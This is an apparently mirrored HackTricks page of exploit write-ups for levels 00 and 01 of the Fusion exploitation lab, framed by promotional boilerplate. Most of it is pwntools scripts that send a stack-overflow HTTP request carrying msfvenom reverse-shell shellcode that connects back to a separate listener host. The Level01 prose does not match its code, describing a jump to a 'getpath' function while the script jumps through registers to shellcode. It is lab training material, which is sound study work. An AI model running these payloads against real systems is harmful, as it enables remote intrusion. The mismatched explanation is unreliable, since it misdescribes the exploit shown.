mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-26 14:40:37 +00:00
104 lines
5.2 KiB
Markdown
104 lines
5.2 KiB
Markdown
|
<details>
|
|||
|
|
|||
|
<summary><strong>从零开始学习AWS黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS红队专家)</strong></a><strong>!</strong></summary>
|
|||
|
|
|||
|
支持HackTricks的其他方式:
|
|||
|
|
|||
|
* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
|||
|
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
|
|||
|
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
|
|||
|
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**。**
|
|||
|
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
|
|||
|
|
|||
|
</details>
|
|||
|
|
|||
|
|
|||
|
# Level00
|
|||
|
|
|||
|
[http://exploit-exercises.lains.space/fusion/level00/](http://exploit-exercises.lains.space/fusion/level00/)
|
|||
|
|
|||
|
1. 获取修改EIP的偏移量
|
|||
|
2. 将shellcode地址放入EIP
|
|||
|
```python
|
|||
|
from pwn import *
|
|||
|
|
|||
|
r = remote("192.168.85.181", 20000)
|
|||
|
|
|||
|
buf = "GET " # Needed
|
|||
|
buf += "A"*139 # Offset 139
|
|||
|
buf += p32(0xbffff440) # Stack address where the shellcode will be saved
|
|||
|
buf += " HTTP/1.1" # Needed
|
|||
|
buf += "\x90"*100 # NOPs
|
|||
|
|
|||
|
#msfvenom -p linux/x86/shell_reverse_tcp LHOST=192.168.85.178 LPORT=4444 -a x86 --platform linux -b '\x00\x2f' -f python
|
|||
|
buf += "\xdb\xda\xb8\x3b\x50\xff\x66\xd9\x74\x24\xf4\x5a\x2b"
|
|||
|
buf += "\xc9\xb1\x12\x31\x42\x17\x83\xea\xfc\x03\x79\x43\x1d"
|
|||
|
buf += "\x93\x4c\xb8\x16\xbf\xfd\x7d\x8a\x2a\x03\x0b\xcd\x1b"
|
|||
|
buf += "\x65\xc6\x8e\xcf\x30\x68\xb1\x22\x42\xc1\xb7\x45\x2a"
|
|||
|
buf += "\x12\xef\xe3\x18\xfa\xf2\x0b\x4d\xa7\x7b\xea\xdd\x31"
|
|||
|
buf += "\x2c\xbc\x4e\x0d\xcf\xb7\x91\xbc\x50\x95\x39\x51\x7e"
|
|||
|
buf += "\x69\xd1\xc5\xaf\xa2\x43\x7f\x39\x5f\xd1\x2c\xb0\x41"
|
|||
|
buf += "\x65\xd9\x0f\x01"
|
|||
|
|
|||
|
r.recvline()
|
|||
|
r.send(buf)
|
|||
|
r.interactive()
|
|||
|
```
|
|||
|
# Level01
|
|||
|
|
|||
|
## Fusion
|
|||
|
|
|||
|
### Basic ESP
|
|||
|
|
|||
|
#### Introduction
|
|||
|
|
|||
|
In this level, we will be exploiting a basic ESP overwrite vulnerability in the `fusion` binary. The goal is to redirect code execution to the `getpath` function in order to get a shell.
|
|||
|
|
|||
|
#### Walkthrough
|
|||
|
|
|||
|
1. **Find the Offset**: We will use GDB to find the offset needed to overwrite the return address. Run `gdb fusion` and disassemble the `main` function. Set a breakpoint at the `get` function call and run the binary with a pattern as input. Retrieve the offset using `pattern offset`.
|
|||
|
|
|||
|
2. **Craft the Payload**: We will craft a payload that overwrites the return address with the address of the `getpath` function. Use Python to generate the payload and save it to a file.
|
|||
|
|
|||
|
3. **Exploit**: Send the payload to the binary using a method of your choice (e.g., input redirection, piping, etc.) and get a shell by redirecting code execution to the `getpath` function.
|
|||
|
|
|||
|
By following these steps, you should be able to successfully exploit the basic ESP overwrite vulnerability in the `fusion` binary and gain a shell.
|
|||
|
```python
|
|||
|
from pwn import *
|
|||
|
|
|||
|
r = remote("192.168.85.181", 20001)
|
|||
|
|
|||
|
buf = "GET " # Needed
|
|||
|
buf += "A"*139 # Offset 139
|
|||
|
buf += p32(0x08049f4f) # Adress of: JMP esp
|
|||
|
buf += p32(0x9090E6FF) # OPCODE: JMP esi (the esi register have the address of the shellcode)
|
|||
|
buf += " HTTP/1.1" # Needed
|
|||
|
buf += "\x90"*100 # NOPs
|
|||
|
|
|||
|
#msfvenom -p linux/x86/shell_reverse_tcp LHOST=192.168.85.178 LPORT=4444 -a x86 --platform linux -b '\x00\x2f' -f python
|
|||
|
buf += "\xdb\xda\xb8\x3b\x50\xff\x66\xd9\x74\x24\xf4\x5a\x2b"
|
|||
|
buf += "\xc9\xb1\x12\x31\x42\x17\x83\xea\xfc\x03\x79\x43\x1d"
|
|||
|
buf += "\x93\x4c\xb8\x16\xbf\xfd\x7d\x8a\x2a\x03\x0b\xcd\x1b"
|
|||
|
buf += "\x65\xc6\x8e\xcf\x30\x68\xb1\x22\x42\xc1\xb7\x45\x2a"
|
|||
|
buf += "\x12\xef\xe3\x18\xfa\xf2\x0b\x4d\xa7\x7b\xea\xdd\x31"
|
|||
|
buf += "\x2c\xbc\x4e\x0d\xcf\xb7\x91\xbc\x50\x95\x39\x51\x7e"
|
|||
|
buf += "\x69\xd1\xc5\xaf\xa2\x43\x7f\x39\x5f\xd1\x2c\xb0\x41"
|
|||
|
buf += "\x65\xd9\x0f\x01"
|
|||
|
|
|||
|
r.send(buf)
|
|||
|
r.interactive()
|
|||
|
```
|
|||
|
<details>
|
|||
|
|
|||
|
<summary><strong>从零开始学习AWS黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
|||
|
|
|||
|
其他支持HackTricks的方式:
|
|||
|
|
|||
|
* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
|||
|
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
|
|||
|
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
|
|||
|
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**。**
|
|||
|
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
|
|||
|
|
|||
|
</details>
|